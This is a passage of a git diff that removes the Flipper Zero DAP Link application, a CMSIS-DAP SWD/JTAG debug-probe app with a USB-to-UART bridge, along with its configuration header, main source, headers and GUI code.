4200000 // Hz - -#define DAP_CONFIG_PACKET_SIZE 64 -#define DAP_CONFIG_PACKET_COUNT 1 - -#define DAP_CONFIG_JTAG_DEV_COUNT 8 - -// DAP_CONFIG_PRODUCT_STR must contain "CMSIS-DAP" to be compatible with the standard -#define DAP_CONFIG_VENDOR_STR "Flipper Zero" -#define DAP_CONFIG_PRODUCT_STR "Generic CMSIS-DAP Adapter" -#define DAP_CONFIG_SER_NUM_STR usb_serial_number -#define DAP_CONFIG_CMSIS_DAP_VER_STR "2.0.0" - -#define DAP_CONFIG_RESET_TARGET_FN dap_app_target_reset -#define DAP_CONFIG_VENDOR_FN dap_app_vendor_cmd - -// Attribute to use for performance-critical functions -#define DAP_CONFIG_PERFORMANCE_ATTR - -// A value at which dap_clock_test() produces 1 kHz output on the SWCLK pin -// #define DAP_CONFIG_DELAY_CONSTANT 19000 -#define DAP_CONFIG_DELAY_CONSTANT 6290 - -// A threshold for switching to fast clock (no added delays) -// This is the frequency produced by dap_clock_test(1) on the SWCLK pin -#define DAP_CONFIG_FAST_CLOCK 2400000 // Hz - -/*- Prototypes --------------------------------------------------------------*/ -extern char usb_serial_number[16]; - -/*- Implementations ---------------------------------------------------------*/ -extern GpioPin flipper_dap_swclk_pin; -extern GpioPin flipper_dap_swdio_pin; -extern GpioPin flipper_dap_reset_pin; -extern GpioPin flipper_dap_tdo_pin; -extern GpioPin flipper_dap_tdi_pin; - -extern void dap_app_vendor_cmd(uint8_t cmd); -extern void dap_app_target_reset(); -extern void dap_app_disconnect(); -extern void dap_app_connect_swd(); -extern void dap_app_connect_jtag(); - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_SWCLK_TCK_write(int value) { - furi_hal_gpio_write(&flipper_dap_swclk_pin, value); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_SWDIO_TMS_write(int value) { - furi_hal_gpio_write(&flipper_dap_swdio_pin, value); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_TDI_write(int value) { -#ifdef DAP_CONFIG_ENABLE_JTAG - furi_hal_gpio_write(&flipper_dap_tdi_pin, value); -#else - (void)value; -#endif -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_TDO_write(int value) { -#ifdef DAP_CONFIG_ENABLE_JTAG - furi_hal_gpio_write(&flipper_dap_tdo_pin, value); -#else - (void)value; -#endif -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_nTRST_write(int value) { - (void)value; -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_nRESET_write(int value) { - furi_hal_gpio_write(&flipper_dap_reset_pin, value); -} - -//----------------------------------------------------------------------------- -static inline int DAP_CONFIG_SWCLK_TCK_read(void) { - return furi_hal_gpio_read(&flipper_dap_swclk_pin); -} - -//----------------------------------------------------------------------------- -static inline int DAP_CONFIG_SWDIO_TMS_read(void) { - return furi_hal_gpio_read(&flipper_dap_swdio_pin); -} - -//----------------------------------------------------------------------------- -static inline int DAP_CONFIG_TDO_read(void) { -#ifdef DAP_CONFIG_ENABLE_JTAG - return furi_hal_gpio_read(&flipper_dap_tdo_pin); -#else - return 0; -#endif -} - -//----------------------------------------------------------------------------- -static inline int DAP_CONFIG_TDI_read(void) { -#ifdef DAP_CONFIG_ENABLE_JTAG - return furi_hal_gpio_read(&flipper_dap_tdi_pin); -#else - return 0; -#endif -} - -//----------------------------------------------------------------------------- -static inline int DAP_CONFIG_nTRST_read(void) { - return 0; -} - -//----------------------------------------------------------------------------- -static inline int DAP_CONFIG_nRESET_read(void) { - return furi_hal_gpio_read(&flipper_dap_reset_pin); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_SWCLK_TCK_set(void) { - LL_GPIO_SetOutputPin(flipper_dap_swclk_pin.port, flipper_dap_swclk_pin.pin); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_SWCLK_TCK_clr(void) { - LL_GPIO_ResetOutputPin(flipper_dap_swclk_pin.port, flipper_dap_swclk_pin.pin); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_SWDIO_TMS_in(void) { - LL_GPIO_SetPinMode(flipper_dap_swdio_pin.port, flipper_dap_swdio_pin.pin, LL_GPIO_MODE_INPUT); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_SWDIO_TMS_out(void) { - LL_GPIO_SetPinMode(flipper_dap_swdio_pin.port, flipper_dap_swdio_pin.pin, LL_GPIO_MODE_OUTPUT); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_SETUP(void) { - furi_hal_gpio_init(&flipper_dap_swdio_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_init(&flipper_dap_swclk_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_init(&flipper_dap_reset_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); -#ifdef DAP_CONFIG_ENABLE_JTAG - furi_hal_gpio_init(&flipper_dap_tdo_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_init(&flipper_dap_tdi_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); -#endif -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_DISCONNECT(void) { - furi_hal_gpio_init(&flipper_dap_swdio_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_init(&flipper_dap_swclk_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_init(&flipper_dap_reset_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); -#ifdef DAP_CONFIG_ENABLE_JTAG - furi_hal_gpio_init(&flipper_dap_tdo_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_init(&flipper_dap_tdi_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); -#endif - dap_app_disconnect(); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_CONNECT_SWD(void) { - furi_hal_gpio_init( - &flipper_dap_swdio_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(&flipper_dap_swdio_pin, true); - - furi_hal_gpio_init( - &flipper_dap_swclk_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(&flipper_dap_swclk_pin, true); - - furi_hal_gpio_init( - &flipper_dap_reset_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(&flipper_dap_reset_pin, true); - -#ifdef DAP_CONFIG_ENABLE_JTAG - furi_hal_gpio_init(&flipper_dap_tdo_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_init(&flipper_dap_tdi_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); -#endif - dap_app_connect_swd(); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_CONNECT_JTAG(void) { - furi_hal_gpio_init( - &flipper_dap_swdio_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(&flipper_dap_swdio_pin, true); - - furi_hal_gpio_init( - &flipper_dap_swclk_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(&flipper_dap_swclk_pin, true); - - furi_hal_gpio_init( - &flipper_dap_reset_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(&flipper_dap_reset_pin, true); - -#ifdef DAP_CONFIG_ENABLE_JTAG - furi_hal_gpio_init(&flipper_dap_tdo_pin, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - - furi_hal_gpio_init( - &flipper_dap_tdi_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(&flipper_dap_tdi_pin, true); -#endif - dap_app_connect_jtag(); -} - -//----------------------------------------------------------------------------- -static inline void DAP_CONFIG_LED(int index, int state) { - (void)index; - (void)state; -} - -//----------------------------------------------------------------------------- -__attribute__((always_inline)) static inline void DAP_CONFIG_DELAY(uint32_t cycles) { - asm volatile("1: subs %[cycles], %[cycles], #1 \n" - " bne 1b \n" - : [cycles] "+l"(cycles)); -} - -#endif // _DAP_CONFIG_H_ diff --git a/applications/external/dap_link/dap_link.c b/applications/external/dap_link/dap_link.c deleted file mode 100644 index eafb435e7..000000000 --- a/applications/external/dap_link/dap_link.c +++ /dev/null @@ -1,527 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "dap_link.h" -#include "dap_config.h" -#include "gui/dap_gui.h" -#include "usb/dap_v2_usb.h" -#include -#include "dap_link_icons.h" - -/***************************************************************************/ -/****************************** DAP COMMON *********************************/ -/***************************************************************************/ - -struct DapApp { - FuriThread* dap_thread; - FuriThread* cdc_thread; - FuriThread* gui_thread; - - DapState state; - DapConfig config; -}; - -void dap_app_get_state(DapApp* app, DapState* state) { - *state = app->state; -} - -#define DAP_PROCESS_THREAD_TICK 500 - -typedef enum { - DapThreadEventStop = (1 << 0), -} DapThreadEvent; - -void dap_thread_send_stop(FuriThread* thread) { - furi_thread_flags_set(furi_thread_get_id(thread), DapThreadEventStop); -} - -GpioPin flipper_dap_swclk_pin; -GpioPin flipper_dap_swdio_pin; -GpioPin flipper_dap_reset_pin; -GpioPin flipper_dap_tdo_pin; -GpioPin flipper_dap_tdi_pin; - -/***************************************************************************/ -/****************************** DAP PROCESS ********************************/ -/***************************************************************************/ - -typedef struct { - uint8_t data[DAP_CONFIG_PACKET_SIZE]; - uint8_t size; -} DapPacket; - -typedef enum { - DAPThreadEventStop = DapThreadEventStop, - DAPThreadEventRxV1 = (1 << 1), - DAPThreadEventRxV2 = (1 << 2), - DAPThreadEventUSBConnect = (1 << 3), - DAPThreadEventUSBDisconnect = (1 << 4), - DAPThreadEventApplyConfig = (1 << 5), - DAPThreadEventAll = DAPThreadEventStop | DAPThreadEventRxV1 | DAPThreadEventRxV2 | - DAPThreadEventUSBConnect | DAPThreadEventUSBDisconnect | - DAPThreadEventApplyConfig, -} DAPThreadEvent; - -#define USB_SERIAL_NUMBER_LEN 16 -char usb_serial_number[USB_SERIAL_NUMBER_LEN] = {0}; - -const char* dap_app_get_serial(DapApp* app) { - UNUSED(app); - return usb_serial_number; -} - -static void dap_app_rx1_callback(void* context) { - furi_assert(context); - FuriThreadId thread_id = (FuriThreadId)context; - furi_thread_flags_set(thread_id, DAPThreadEventRxV1); -} - -static void dap_app_rx2_callback(void* context) { - furi_assert(context); - FuriThreadId thread_id = (FuriThreadId)context; - furi_thread_flags_set(thread_id, DAPThreadEventRxV2); -} - -static void dap_app_usb_state_callback(bool state, void* context) { - furi_assert(context); - FuriThreadId thread_id = (FuriThreadId)context; - if(state) { - furi_thread_flags_set(thread_id, DAPThreadEventUSBConnect); - } else { - furi_thread_flags_set(thread_id, DAPThreadEventUSBDisconnect); - } -} - -static void dap_app_process_v1() { - DapPacket tx_packet; - DapPacket rx_packet; - memset(&tx_packet, 0, sizeof(DapPacket)); - rx_packet.size = dap_v1_usb_rx(rx_packet.data, DAP_CONFIG_PACKET_SIZE); - dap_process_request(rx_packet.data, rx_packet.size, tx_packet.data, DAP_CONFIG_PACKET_SIZE); - dap_v1_usb_tx(tx_packet.data, DAP_CONFIG_PACKET_SIZE); -} - -static void dap_app_process_v2() { - DapPacket tx_packet; - DapPacket rx_packet; - memset(&tx_packet, 0, sizeof(DapPacket)); - rx_packet.size = dap_v2_usb_rx(rx_packet.data, DAP_CONFIG_PACKET_SIZE); - size_t len = dap_process_request( - rx_packet.data, rx_packet.size, tx_packet.data, DAP_CONFIG_PACKET_SIZE); - dap_v2_usb_tx(tx_packet.data, len); -} - -void dap_app_vendor_cmd(uint8_t cmd) { - // openocd -c "cmsis-dap cmd 81" - if(cmd == 0x01) { - furi_hal_power_reset(); - } -} - -void dap_app_target_reset() { - FURI_LOG_I("DAP", "Target reset"); -} - -static void dap_init_gpio(DapSwdPins swd_pins) { - switch(swd_pins) { - case DapSwdPinsPA7PA6: - flipper_dap_swclk_pin = gpio_ext_pa7; - flipper_dap_swdio_pin = gpio_ext_pa6; - break; - case DapSwdPinsPA14PA13: - flipper_dap_swclk_pin = (GpioPin){.port = GPIOA, .pin = LL_GPIO_PIN_14}; - flipper_dap_swdio_pin = (GpioPin){.port = GPIOA, .pin = LL_GPIO_PIN_13}; - break; - } - - flipper_dap_reset_pin = gpio_ext_pa4; - flipper_dap_tdo_pin = gpio_ext_pb3; - flipper_dap_tdi_pin = gpio_ext_pb2; -} - -static void dap_deinit_gpio(DapSwdPins swd_pins) { - // setup gpio pins to default state - furi_hal_gpio_init(&flipper_dap_reset_pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(&flipper_dap_tdo_pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(&flipper_dap_tdi_pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - - if(DapSwdPinsPA14PA13 == swd_pins) { - // PA14 and PA13 are used by SWD - furi_hal_gpio_init_ex( - &flipper_dap_swclk_pin, - GpioModeAltFunctionPushPull, - GpioPullDown, - GpioSpeedLow, - GpioAltFn0JTCK_SWCLK); - furi_hal_gpio_init_ex( - &flipper_dap_swdio_pin, - GpioModeAltFunctionPushPull, - GpioPullUp, - GpioSpeedVeryHigh, - GpioAltFn0JTMS_SWDIO); - } else { - furi_hal_gpio_init(&flipper_dap_swclk_pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(&flipper_dap_swdio_pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - } -} - -static int32_t dap_process(void* p) { - DapApp* app = p; - DapState* dap_state = &(app->state); - - // allocate resources - FuriHalUsbInterface* usb_config_prev; - app->config.swd_pins = DapSwdPinsPA7PA6; - DapSwdPins swd_pins_prev = app->config.swd_pins; - - // init pins - dap_init_gpio(swd_pins_prev); - - // init dap - dap_init(); - - // get name - const char* name = furi_hal_version_get_name_ptr(); - if(!name) { - name = "Flipper"; - } - snprintf(usb_serial_number, USB_SERIAL_NUMBER_LEN, "DAP_%s", name); - - // init usb - usb_config_prev = furi_hal_usb_get_config(); - dap_common_usb_alloc_name(usb_serial_number); - dap_common_usb_set_context(furi_thread_get_id(furi_thread_get_current())); - dap_v1_usb_set_rx_callback(dap_app_rx1_callback); - dap_v2_usb_set_rx_callback(dap_app_rx2_callback); - dap_common_usb_set_state_callback(dap_app_usb_state_callback); - furi_hal_usb_set_config(&dap_v2_usb_hid, NULL); - - // work - uint32_t events; - while(1) { - events = furi_thread_flags_wait(DAPThreadEventAll, FuriFlagWaitAny, FuriWaitForever); - - if(!(events & FuriFlagError)) { - if(events & DAPThreadEventRxV1) { - dap_app_process_v1(); - dap_state->dap_counter++; - dap_state->dap_version = DapVersionV1; - } - - if(events & DAPThreadEventRxV2) { - dap_app_process_v2(); - dap_state->dap_counter++; - dap_state->dap_version = DapVersionV2; - } - - if(events & DAPThreadEventUSBConnect) { - dap_state->usb_connected = true; - } - - if(events & DAPThreadEventUSBDisconnect) { - dap_state->usb_connected = false; - dap_state->dap_version = DapVersionUnknown; - } - - if(events & DAPThreadEventApplyConfig) { - if(swd_pins_prev != app->config.swd_pins) { - dap_deinit_gpio(swd_pins_prev); - swd_pins_prev = app->config.swd_pins; - dap_init_gpio(swd_pins_prev); - } - } - - if(events & DAPThreadEventStop) { - break; - } - } - } - - // deinit usb - furi_hal_usb_set_config(usb_config_prev, NULL); - dap_common_usb_free_name(); - dap_deinit_gpio(swd_pins_prev); - return 0; -} - -/***************************************************************************/ -/****************************** CDC PROCESS ********************************/ -/***************************************************************************/ - -typedef enum { - CDCThreadEventStop = DapThreadEventStop, - CDCThreadEventUARTRx = (1 << 1), - CDCThreadEventCDCRx = (1 << 2), - CDCThreadEventCDCConfig = (1 << 3), - CDCThreadEventApplyConfig = (1 << 4), - CDCThreadEventAll = CDCThreadEventStop | CDCThreadEventUARTRx | CDCThreadEventCDCRx | - CDCThreadEventCDCConfig | CDCThreadEventApplyConfig, -} CDCThreadEvent; - -typedef struct { - FuriStreamBuffer* rx_stream; - FuriThreadId thread_id; - FuriHalUartId uart_id; - struct usb_cdc_line_coding line_coding; -} CDCProcess; - -static void cdc_uart_irq_cb(UartIrqEvent ev, uint8_t data, void* ctx) { - CDCProcess* app = ctx; - - if(ev == UartIrqEventRXNE) { - furi_stream_buffer_send(app->rx_stream, &data, 1, 0); - furi_thread_flags_set(app->thread_id, CDCThreadEventUARTRx); - } -} - -static void cdc_usb_rx_callback(void* context) { - CDCProcess* app = context; - furi_thread_flags_set(app->thread_id, CDCThreadEventCDCRx); -} - -static void cdc_usb_control_line_callback(uint8_t state, void* context) { - UNUSED(context); - UNUSED(state); -} - -static void cdc_usb_config_callback(struct usb_cdc_line_coding* config, void* context) { - CDCProcess* app = context; - app->line_coding = *config; - furi_thread_flags_set(app->thread_id, CDCThreadEventCDCConfig); -} - -static FuriHalUartId cdc_init_uart( - DapUartType type, - DapUartTXRX swap, - uint32_t baudrate, - void (*cb)(UartIrqEvent ev, uint8_t data, void* ctx), - void* ctx) { - FuriHalUartId uart_id = FuriHalUartIdUSART1; - if(baudrate == 0) baudrate = 115200; - - switch(type) { - case DapUartTypeUSART1: - uart_id = FuriHalUartIdUSART1; - furi_hal_console_disable(); - furi_hal_uart_deinit(uart_id); - if(swap == DapUartTXRXSwap) { - LL_USART_SetTXRXSwap(USART1, LL_USART_TXRX_SWAPPED); - } else { - LL_USART_SetTXRXSwap(USART1, LL_USART_TXRX_STANDARD); - } - furi_hal_uart_init(uart_id, baudrate); - furi_hal_uart_set_irq_cb(uart_id, cb, ctx); - break; - case DapUartTypeLPUART1: - uart_id = FuriHalUartIdLPUART1; - furi_hal_uart_deinit(uart_id); - if(swap == DapUartTXRXSwap) { - LL_LPUART_SetTXRXSwap(LPUART1, LL_LPUART_TXRX_SWAPPED); - } else { - LL_LPUART_SetTXRXSwap(LPUART1, LL_LPUART_TXRX_STANDARD); - } - furi_hal_uart_init(uart_id, baudrate); - furi_hal_uart_set_irq_cb(uart_id, cb, ctx); - break; - } - - return uart_id; -} - -static void cdc_deinit_uart(DapUartType type) { - switch(type) { - case DapUartTypeUSART1: - furi_hal_uart_deinit(FuriHalUartIdUSART1); - LL_USART_SetTXRXSwap(USART1, LL_USART_TXRX_STANDARD); - furi_hal_console_init(); - break; - case DapUartTypeLPUART1: - furi_hal_uart_deinit(FuriHalUartIdLPUART1); - LL_LPUART_SetTXRXSwap(LPUART1, LL_LPUART_TXRX_STANDARD); - break; - } -} - -static int32_t cdc_process(void* p) { - DapApp* dap_app = p; - DapState* dap_state = &(dap_app->state); - - dap_app->config.uart_pins = DapUartTypeLPUART1; - dap_app->config.uart_swap = DapUartTXRXNormal; - - DapUartType uart_pins_prev = dap_app->config.uart_pins; - DapUartTXRX uart_swap_prev = dap_app->config.uart_swap; - - CDCProcess* app = malloc(sizeof(CDCProcess)); - app->thread_id = furi_thread_get_id(furi_thread_get_current()); - app->rx_stream = furi_stream_buffer_alloc(512, 1); - - const uint8_t rx_buffer_size = 64; - uint8_t* rx_buffer = malloc(rx_buffer_size); - - app->uart_id = cdc_init_uart( - uart_pins_prev, uart_swap_prev, dap_state->cdc_baudrate, cdc_uart_irq_cb, app); - - dap_cdc_usb_set_context(app); - dap_cdc_usb_set_rx_callback(cdc_usb_rx_callback); - dap_cdc_usb_set_control_line_callback(cdc_usb_control_line_callback); - dap_cdc_usb_set_config_callback(cdc_usb_config_callback); - - uint32_t events; - while(1) { - events = furi_thread_flags_wait(CDCThreadEventAll, FuriFlagWaitAny, FuriWaitForever); - - if(!(events & FuriFlagError)) { - if(events & CDCThreadEventCDCConfig) { - if(dap_state->cdc_baudrate != app->line_coding.dwDTERate) { - dap_state->cdc_baudrate = app->line_coding.dwDTERate; - if(dap_state->cdc_baudrate > 0) { - furi_hal_uart_set_br(app->uart_id, dap_state->cdc_baudrate); - } - } - } - - if(events & CDCThreadEventUARTRx) { - size_t len = - furi_stream_buffer_receive(app->rx_stream, rx_buffer, rx_buffer_size, 0); - - if(len > 0) { - dap_cdc_usb_tx(rx_buffer, len); - } - dap_state->cdc_rx_counter += len; - } - - if(events & CDCThreadEventCDCRx) { - size_t len = dap_cdc_usb_rx(rx_buffer, rx_buffer_size); - if(len > 0) { - furi_hal_uart_tx(app->uart_id, rx_buffer, len); - } - dap_state->cdc_tx_counter += len; - } - - if(events & CDCThreadEventApplyConfig) { - if(uart_pins_prev != dap_app->config.uart_pins || - uart_swap_prev != dap_app->config.uart_swap) { - cdc_deinit_uart(uart_pins_prev); - uart_pins_prev = dap_app->config.uart_pins; - uart_swap_prev = dap_app->config.uart_swap; - app->uart_id = cdc_init_uart( - uart_pins_prev, - uart_swap_prev, - dap_state->cdc_baudrate, - cdc_uart_irq_cb, - app); - } - } - - if(events & CDCThreadEventStop) { - break; - } - } - } - - cdc_deinit_uart(uart_pins_prev); - free(rx_buffer); - furi_stream_buffer_free(app->rx_stream); - free(app); - - return 0; -} - -/***************************************************************************/ -/******************************* MAIN APP **********************************/ -/***************************************************************************/ - -static DapApp* dap_app_alloc() { - DapApp* dap_app = malloc(sizeof(DapApp)); - dap_app->dap_thread = furi_thread_alloc_ex("DAP Process", 1024, dap_process, dap_app); - dap_app->cdc_thread = furi_thread_alloc_ex("DAP CDC", 1024, cdc_process, dap_app); - dap_app->gui_thread = furi_thread_alloc_ex("DAP GUI", 1024, dap_gui_thread, dap_app); - return dap_app; -} - -static void dap_app_free(DapApp* dap_app) { - furi_assert(dap_app); - furi_thread_free(dap_app->dap_thread); - furi_thread_free(dap_app->cdc_thread); - furi_thread_free(dap_app->gui_thread); - free(dap_app); -} - -static DapApp* app_handle = NULL; - -void dap_app_disconnect() { - app_handle->state.dap_mode = DapModeDisconnected; -} - -void dap_app_connect_swd() { - app_handle->state.dap_mode = DapModeSWD; -} - -void dap_app_connect_jtag() { - app_handle->state.dap_mode = DapModeJTAG; -} - -void dap_app_set_config(DapApp* app, DapConfig* config) { - app->config = *config; - furi_thread_flags_set(furi_thread_get_id(app->dap_thread), DAPThreadEventApplyConfig); - furi_thread_flags_set(furi_thread_get_id(app->cdc_thread), CDCThreadEventApplyConfig); -} - -DapConfig* dap_app_get_config(DapApp* app) { - return &app->config; -} - -int32_t dap_link_app(void* p) { - UNUSED(p); - - if(furi_hal_usb_is_locked()) { - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_header(message, "Connection\nis active!", 3, 2, AlignLeft, AlignTop); - dialog_message_set_text( - message, - "Disconnect from\nPC or phone to\nuse this function.", - 3, - 30, - AlignLeft, - AlignTop); - dialog_message_set_icon(message, &I_ActiveConnection_50x64, 78, 0); - dialog_message_show(dialogs, message); - dialog_message_free(message); - furi_record_close(RECORD_DIALOGS); - return -1; - } - - // alloc app - DapApp* app = dap_app_alloc(); - app_handle = app; - - furi_thread_start(app->dap_thread); - furi_thread_start(app->cdc_thread); - furi_thread_start(app->gui_thread); - - // wait until gui thread is finished - furi_thread_join(app->gui_thread); - - // send stop event to threads - dap_thread_send_stop(app->dap_thread); - dap_thread_send_stop(app->cdc_thread); - - // wait for threads to stop - furi_thread_join(app->dap_thread); - furi_thread_join(app->cdc_thread); - - // free app - dap_app_free(app); - - return 0; -} \ No newline at end of file diff --git a/applications/external/dap_link/dap_link.h b/applications/external/dap_link/dap_link.h deleted file mode 100644 index d51726c45..000000000 --- a/applications/external/dap_link/dap_link.h +++ /dev/null @@ -1,55 +0,0 @@ -#pragma once -#include - -typedef enum { - DapModeDisconnected, - DapModeSWD, - DapModeJTAG, -} DapMode; - -typedef enum { - DapVersionUnknown, - DapVersionV1, - DapVersionV2, -} DapVersion; - -typedef struct { - bool usb_connected; - DapMode dap_mode; - DapVersion dap_version; - uint32_t dap_counter; - uint32_t cdc_baudrate; - uint32_t cdc_tx_counter; - uint32_t cdc_rx_counter; -} DapState; - -typedef enum { - DapSwdPinsPA7PA6, // Pins 2, 3 - DapSwdPinsPA14PA13, // Pins 10, 12 -} DapSwdPins; - -typedef enum { - DapUartTypeUSART1, // Pins 13, 14 - DapUartTypeLPUART1, // Pins 15, 16 -} DapUartType; - -typedef enum { - DapUartTXRXNormal, - DapUartTXRXSwap, -} DapUartTXRX; - -typedef struct { - DapSwdPins swd_pins; - DapUartType uart_pins; - DapUartTXRX uart_swap; -} DapConfig; - -typedef struct DapApp DapApp; - -void dap_app_get_state(DapApp* app, DapState* state); - -const char* dap_app_get_serial(DapApp* app); - -void dap_app_set_config(DapApp* app, DapConfig* config); - -DapConfig* dap_app_get_config(DapApp* app); \ No newline at end of file diff --git a/applications/external/dap_link/dap_link.png b/applications/external/dap_link/dap_link.png deleted file mode 100644 index 2278ce2b6..000000000 Binary files a/applications/external/dap_link/dap_link.png and /dev/null differ diff --git a/applications/external/dap_link/gui/dap_gui.c b/applications/external/dap_link/gui/dap_gui.c deleted file mode 100644 index 4dd986153..000000000 --- a/applications/external/dap_link/gui/dap_gui.c +++ /dev/null @@ -1,92 +0,0 @@ -#include "dap_gui.h" -#include "dap_gui_i.h" - -#define DAP_GUI_TICK 250 - -static bool dap_gui_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - DapGuiApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool dap_gui_back_event_callback(void* context) { - furi_assert(context); - DapGuiApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void dap_gui_tick_event_callback(void* context) { - furi_assert(context); - DapGuiApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -DapGuiApp* dap_gui_alloc() { - DapGuiApp* app = malloc(sizeof(DapGuiApp)); - app->gui = furi_record_open(RECORD_GUI); - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&dap_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - - view_dispatcher_set_custom_event_callback(app->view_dispatcher, dap_gui_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, dap_gui_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, dap_gui_tick_event_callback, DAP_GUI_TICK); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - app->notifications = furi_record_open(RECORD_NOTIFICATION); - - app->var_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - DapGuiAppViewVarItemList, - variable_item_list_get_view(app->var_item_list)); - - app->main_view = dap_main_view_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, DapGuiAppViewMainView, dap_main_view_get_view(app->main_view)); - - app->widget = widget_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, DapGuiAppViewWidget, widget_get_view(app->widget)); - - scene_manager_next_scene(app->scene_manager, DapSceneMain); - - return app; -} - -void dap_gui_free(DapGuiApp* app) { - view_dispatcher_remove_view(app->view_dispatcher, DapGuiAppViewVarItemList); - variable_item_list_free(app->var_item_list); - - view_dispatcher_remove_view(app->view_dispatcher, DapGuiAppViewMainView); - dap_main_view_free(app->main_view); - - view_dispatcher_remove_view(app->view_dispatcher, DapGuiAppViewWidget); - widget_free(app->widget); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - // Close records - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - - free(app); -} - -int32_t dap_gui_thread(void* arg) { - DapGuiApp* app = dap_gui_alloc(); - app->dap_app = arg; - - notification_message_block(app->notifications, &sequence_display_backlight_enforce_on); - view_dispatcher_run(app->view_dispatcher); - notification_message_block(app->notifications, &sequence_display_backlight_enforce_auto); - - dap_gui_free(app); - return 0; -} \ No newline at end of file diff --git a/applications/external/dap_link/gui/dap_gui.h b/applications/external/dap_link/gui/dap_gui.h deleted file mode 100644 index 3d8e6bdf9..000000000 --- a/applications/external/dap_link/gui/dap_gui.h +++ /dev/null @@ -1,4 +0,0 @@ -#pragma once -#include - -int32_t dap_gui_thread(void* arg); \ No newline at end of file diff --git a/applications/external/dap_link/gui/dap_gui_custom_event.h b/applications/external/dap_link/gui/dap_gui_custom_event.h deleted file mode 100644 index 8b127c9d4..000000000 --- a/applications/external/dap_link/gui/dap_gui_custom_event.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once - -typedef enum { - DapAppCustomEventConfig, - DapAppCustomEventHelp, - DapAppCustomEventAbout, -} DapAppCustomEvent; diff --git a/applications/external/dap_link/gui/dap_gui_i.h b/applications/external/dap_link/gui/dap_gui_i.h deleted file mode 100644 index 59411e78c..000000000 --- a/applications/external/dap_link/gui/dap_gui_i.h +++ /dev/null @@ -1,34 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include -#include -#include - -#include "dap_gui.h" -#include "../dap_link.h" -#include "scenes/config/dap_scene.h" -#include "dap_gui_custom_event.h" -#include "views/dap_main_view.h" - -typedef struct { - DapApp* dap_app; - - Gui* gui; - NotificationApp* notifications; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - - VariableItemList* var_item_list; - DapMainView* main_view; - Widget* widget; -} DapGuiApp; - -typedef enum { - DapGuiAppViewVarItemList, - DapGuiAppViewMainView, - DapGuiAppViewWidget, -} DapGuiAppView; diff --git a/applications/external/dap_link/gui/scenes/config/dap_scene.c b/applications/external/dap_link/gui/scenes/config/dap_scene.c deleted file mode 100644 index 37e235540..000000000 --- a/applications/external/dap_link/gui/scenes/config/dap_scene.c +++ 